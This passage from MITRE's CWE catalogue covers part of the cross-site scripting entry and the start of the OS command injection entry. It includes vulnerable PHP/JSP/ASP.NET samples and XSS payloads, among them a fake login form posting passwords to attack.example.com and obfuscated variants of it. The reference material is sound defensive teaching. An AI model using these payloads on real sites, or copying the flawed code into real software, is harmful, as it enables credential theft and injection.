
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Web Based (Often Prevalent)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code displays a welcome message on a web page based on the HTTP GET username parameter (covers a Reflected XSS (Type 1) scenario).

(bad code)
Example Language: PHP 
$username = $_GET['username'];
echo '<div class="header"> Welcome, ' . $username . '</div>';

Because the parameter can be arbitrary, the url of the page could be modified so $username contains scripting syntax, such as

(attack code)
 
http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script>

This results in a harmless alert dialog popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.

More realistically, the attacker can embed a fake login box on the page, tricking the user into sending the user's password to the attacker:

(attack code)
 
http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><br/><input type="submit" value="Login" /></form></div>

If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser:

(result)
 
<div class="header"> Welcome, <div id="stealPassword"> Please Login:

<form name="input" action="attack.example.com/stealPassword.php" method="post">
Username: <input type="text" name="username" /><br/>
Password: <input type="password" name="password" /><br/>
<input type="submit" value="Login" />
</form>

</div></div>

The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability):

(attack code)
 
trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22
stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input
%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php
%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text
%22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A
+%3Cinput+type%3D%22password%22+name%3D%22password%22
+%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22
+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A

The same attack string could also be obfuscated as:

(attack code)
 
trustedSite.example.com/welcome.php?username=<script+type="text/javascript">
document.write('\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073
\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064
\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067
\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D
\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063
\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F
\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D
\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061
\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068
\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070
\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D
\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079
\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061
\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065
\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073
\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075
\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073
\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022
\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E
\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D
\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C
\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F
\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');</script>

Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs.


Example 2

The following code displays a Reflected XSS (Type 1) scenario.

The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.

(bad code)
Example Language: JSP 
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>

The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user.

(bad code)
Example Language: ASP.NET 
<%
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;
%>

<p><asp:label id="EmployeeID" runat="server" /></p>

The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.


Example 3

The following code displays a Stored XSS (Type 2) scenario.

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

(bad code)
Example Language: JSP 
<%Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}%>

Employee Name: <%= name %>

The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.

(bad code)
Example Language: ASP.NET 
<%
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;%>
<p><asp:label id="EmployeeName" runat="server" /></p>

This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser.


Example 4

The following code consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario.

CreateUser.php

(bad code)
Example Language: PHP 
$username = mysql_real_escape_string($username);
$fullName = mysql_real_escape_string($fullName);
$query = sprintf('Insert Into users (username,password) Values ("%s","%s","%s")', $username, crypt($password),$fullName) ;
mysql_query($query);
/.../

The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information:

ListUsers.php

(bad code)
Example Language: PHP 
$query = 'Select * From users Where loggedIn=true';
$results = mysql_query($query);

if (!$results) {
exit;
}

//Print list of users to page
echo '<div id="userlist">Currently Active Users:';
while ($row = mysql_fetch_assoc($results)) {
echo '<div class="userNames">'.$row['fullname'].'</div>';
}
echo '</div>';

The attacker can set their name to be arbitrary HTML, which will then be displayed to all visitors of the Active Users page. This HTML can, for example, be a password stealing Login message.


Example 5

The following code is a simplistic message board that saves messages in HTML format and appends them to a file. When a new user arrives in the room, it makes an announcement:

(bad code)
Example Language: PHP 
$name = $_COOKIE["myname"];
$announceStr = "$name just logged in.";

//save HTML-formatted message to file; implementation details are irrelevant for this example.
saveMessage($announceStr);

An attacker may be able to perform an HTML injection (Type 2 XSS) attack by setting a cookie to a value like:

(attack code)
 
<script>document.alert('Hacked');</script>

The raw contents of the message file would look like:

(result)
 
<script>document.alert('Hacked');</script> has logged in.

For each person who visits the message page, their browser would execute the script, generating a pop-up window that says "Hacked". More malicious attacks are possible; see the rest of this entry.


+ Observed Examples
ReferenceDescription
Python Library Manager did not sufficiently neutralize a user-supplied search term, allowing reflected XSS.
Python-based e-commerce platform did not escape returned content on error pages, allowing for reflected Cross-Site Scripting attacks.
Universal XSS in mobile operating system, as exploited in the wild per CISA KEV.
Chain: improper input validation (CWE-20) in firewall product leads to XSS (CWE-79), as exploited in the wild per CISA KEV.
Admin GUI allows XSS through cookie.
Web stats program allows XSS through crafted HTTP header.
Web log analysis product allows XSS through crafted HTTP Referer header.
Chain: protection mechanism failure allows XSS
Chain: incomplete denylist (CWE-184) only checks "javascript:" tag, allowing XSS (CWE-79) using other tags
Chain: incomplete denylist (CWE-184) only removes SCRIPT tags, enabling XSS (CWE-79)
Reflected XSS using the PATH_INFO in a URL
Reflected XSS not properly handled when generating an error message
Reflected XSS sent through email message.
Stored XSS in a security product.
Stored XSS using a wiki page.
Stored XSS in a guestbook application.
Stored XSS in a guestbook application using a javascript: URI in a bbcode img tag.
Chain: library file is not protected against a direct request (CWE-425), leading to reflected XSS (CWE-79).
+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods

Automated Static Analysis

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible, especially when multiple components are involved.

Effectiveness: Moderate

Black Box

Use the XSS Cheat Sheet [REF-714] or automated test-generation tools to help launch a wide variety of attacks against your web application. The Cheat Sheet contains many subtle XSS variations that are specifically targeted against weak XSS defenses.

Effectiveness: Moderate

Note: With Stored XSS, the indirection caused by the data store can make it more difficult to find the problem. The tester must first inject the XSS string into the data store, then find the appropriate application functionality in which the XSS string is sent to other users of the application. These are two distinct steps in which the activation of the XSS can take place minutes, hours, or days after the XSS was originally injected into the data store.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.712OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.725OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7512009 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8012010 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.811OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8642011 Top 25 - Insecure Interaction Between Components
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.931OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.10057PK - Input Validation and Representation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1033OWASP Top Ten 2017 Category A7 - Cross-Site Scripting (XSS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures (2016) - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1337Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1387Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1425Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

There can be a close relationship between XSS and CSRF (CWE-352). An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload. A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend. MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause.

Applicable Platform

XSS flaws are very common in web applications, since they require a great deal of developer discipline to avoid them.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERCross-site scripting (XSS)
7 Pernicious KingdomsCross-site Scripting
CLASPCross-site scripting
OWASP Top Ten 2007A1ExactCross Site Scripting (XSS)
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
OWASP Top Ten 2004A4ExactCross-Site Scripting (XSS) Flaws
WASC8Cross-site Scripting
Software Fault PatternsSFP24Tainted input to command
OMG ASCSMASCSM-CWE-79
+ References
[REF-709] Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager and Seth Fogie. "XSS Attacks". Syngress. 2007.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 2: Web-Server Related Vulnerabilities (XSS, XSRF, and Response Splitting)." Page 31. McGraw-Hill. 2010.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 3: Web-Client Related Vulnerabilities (XSS)." Page 63. McGraw-Hill. 2010.
[REF-712] "Cross-site scripting". Wikipedia. 2008-08-26. <https://en.wikipedia.org/wiki/Cross-site_scripting>. URL validated: 2023-04-07.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 13, "Web-Specific Input Issues" Page 413. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-714] RSnake. "XSS (Cross Site Scripting) Cheat Sheet". <http://ha.ckers.org/xss.html>.
[REF-715] Microsoft. "Mitigating Cross-site Scripting With HTTP-only Cookies". <https://learn.microsoft.com/en-us/previous-versions//ms533046(v=vs.85)?redirectedfrom=MSDN>. URL validated: 2023-04-07.
[REF-716] Mark Curphey, Microsoft. "Anti-XSS 3.0 Beta and CAT.NET Community Technology Preview now Live!". <https://learn.microsoft.com/en-us/archive/blogs/cisg/anti-xss-3-0-beta-and-cat-net-community-technology-preview-now-live>. URL validated: 2023-04-07.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-718] Ivan Ristic. "XSS Defense HOWTO". <https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/xss-defense-howto/>. URL validated: 2023-04-07.
[REF-719] OWASP. "Web Application Firewall". <http://www.owasp.org/index.php/Web_Application_Firewall>.
[REF-720] Web Application Security Consortium. "Web Application Firewall Evaluation Criteria". <http://projects.webappsec.org/w/page/13246985/Web%20Application%20Firewall%20Evaluation%20Criteria>. URL validated: 2023-04-07.
[REF-721] RSnake. "Firefox Implements httpOnly And is Vulnerable to XMLHTTPRequest". 2007-07-19.
[REF-722] "XMLHttpRequest allows reading HTTPOnly cookies". Mozilla. <https://bugzilla.mozilla.org/show_bug.cgi?id=380418>.
[REF-723] "Apache Wicket". <http://wicket.apache.org/>.
[REF-724] OWASP. "XSS (Cross Site Scripting) Prevention Cheat Sheet". <http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet>.
[REF-725] OWASP. "DOM based XSS Prevention Cheat Sheet". <http://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet>.
[REF-726] Jason Lam. "Top 25 series - Rank 1 - Cross Site Scripting". SANS Software Security Institute. 2010-02-22. <https://www.sans.org/blog/top-25-series-rank-1-cross-site-scripting/>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "Cross Site Scripting", Page 1071. 1st Edition. Addison Wesley. 2006.
[REF-956] Wikipedia. "Samy (computer worm)". <https://en.wikipedia.org/wiki/Samy_(computer_worm)>. URL validated: 2018-01-16.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-79. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01
(CWE 1.0, 2008-09-09)
Eric DalciCigital
updated Time_of_Introduction
2008-08-15
(CWE 1.0, 2008-09-09)
Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Description, Relationships, Other_Notes, References, Taxonomy_Mappings, Weakness_Ordinalities
2009-01-12CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Enabling_Factors_for_Exploitation, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationships
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Name
2009-07-27CWE Content TeamMITRE
updated Description
2009-10-29CWE Content TeamMITRE
updated Observed_Examples, Relationships
2009-12-28CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Detection_Factors, Enabling_Factors_for_Exploitation, Observed_Examples
2010-02-16CWE Content TeamMITRE
updated Applicable_Platforms, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Description, Potential_Mitigations, Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Description, Name, Potential_Mitigations, References, Relationships
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples, References
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Detection_Factors, Potential_Mitigations
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Demonstrative_Examples, Enabling_Factors_for_Exploitation, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2018-03-27CWE Content TeamMITRE
updated Alternate_Terms, Demonstrative_Examples, Description, Observed_Examples, References, Relationship_Notes, Relationships
2019-01-03CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Observed_Examples, Potential_Mitigations
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples, Description
2021-07-20CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-06-28CWE Content TeamMITRE
updated Observed_Examples, Relationships
2022-10-13CWE Content TeamMITRE
updated Background_Details, Observed_Examples
2023-01-31CWE Content TeamMITRE
updated Alternate_Terms, Demonstrative_Examples, Description
2023-04-27CWE Content TeamMITRE
updated References, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Cross-site Scripting (XSS)
2009-01-12Failure to Sanitize Directives in a Web Page (aka 'Cross-site scripting' (XSS))
2009-05-27Failure to Preserve Web Page Structure (aka 'Cross-site Scripting')
2010-06-21Failure to Preserve Web Page Structure ('Cross-site Scripting')

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Weakness ID: 78
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Diagram for CWE-78
+ Extended Description

This weakness can lead to a vulnerability in environments in which the attacker does not have direct access to the operating system, such as in web applications. Alternately, if the weakness occurs in a privileged program, it could allow the attacker to specify commands that normally would not be accessible, or to call alternate commands with privileges that the attacker does not have. The problem is exacerbated if the compromised process does not follow the principle of least privilege, because the attacker-controlled commands may run with special system privileges that increases the amount of damage.

There are at least two subtypes of OS command injection:

  • The application intends to execute a single, fixed program that is under its own control. It intends to use externally-supplied inputs as arguments to that program. For example, the program might use system("nslookup [HOSTNAME]") to run nslookup and allow the user to supply a HOSTNAME, which is used as an argument. Attackers cannot prevent nslookup from executing. However, if the program does not remove command separators from the HOSTNAME argument, attackers could place the separators into the arguments, which allows them to execute their own program after nslookup has finished executing.
  • The application accepts an input that it uses to fully select which program to run, as well as which commands to use. The application simply redirects this entire command to the operating system. For example, the program might use "exec([COMMAND])" to execute the [COMMAND] that was supplied by the user. If the COMMAND is under attacker control, then the attacker can execute arbitrary commands or programs. If the command is being executed using functions like exec() and CreateProcess(), the attacker might not be able to combine multiple commands together in the same line.

From a weakness standpoint, these variants represent distinct programmer errors. In the first variant, the programmer clearly intends that input from untrusted parties will be part of the arguments in the command to be executed. In the second variant, the programmer does not intend for the command to be accessible to any untrusted party, but the programmer probably has not accounted for alternate ways in which malicious attackers can provide input.

+ Alternate Terms
Shell injection
Shell metacharacters
OS Command Injection
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability
Non-Repudiation

Technical Impact: Execute Unauthorized Code or Commands; DoS: Crash, Exit, or Restart; Read Files or Directories; Modify Files or Directories; Read Application Data; Modify Application Data; Hide Activities

Attackers could execute unauthorized operating system commands, which could then be used to disable the product, or read and modify data for which the attacker does not have permissions to access directly. Since the targeted application is directly executing the commands instead of the attacker, any malicious activities may appear to come from the application or the application's owner.
+ Potential Mitigations

Phase: Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Note: The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phase: Architecture and Design

Strategy: Attack Surface Reduction

For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.

Phase: Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.

Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

